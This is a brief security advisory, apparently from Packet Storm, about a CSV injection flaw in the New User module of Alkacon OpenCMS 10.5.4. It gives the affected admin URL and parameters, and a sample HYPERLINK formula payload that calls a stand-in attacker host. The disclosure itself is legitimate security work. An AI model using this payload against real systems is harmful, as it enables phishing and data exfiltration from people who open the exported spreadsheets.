Alkacon OpenCMS version 10.5.4 suffers from a CSV injection vulnerability.
03c674301c202b39a1110e5f186c347b81b29e9b4f37ab1b37c2621088bcec85Description: OpenCMS v10.5.4 and before is vulnerable to CSV injection in New
User module for parameter First Name and Last Name
Impacted URL is
https://[your_webserver_ip]/opencms/system/workplace/admin/accounts/user_new.jsp
Payload used is
'=HYPERLINK("https://[attacker_ip:port]/GiveMeSomeData","IAmSafe")'
Further details is available here
https://github.com/alkacon/opencms-core/issues/636
Already requested for CVE, yet to receive it.
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed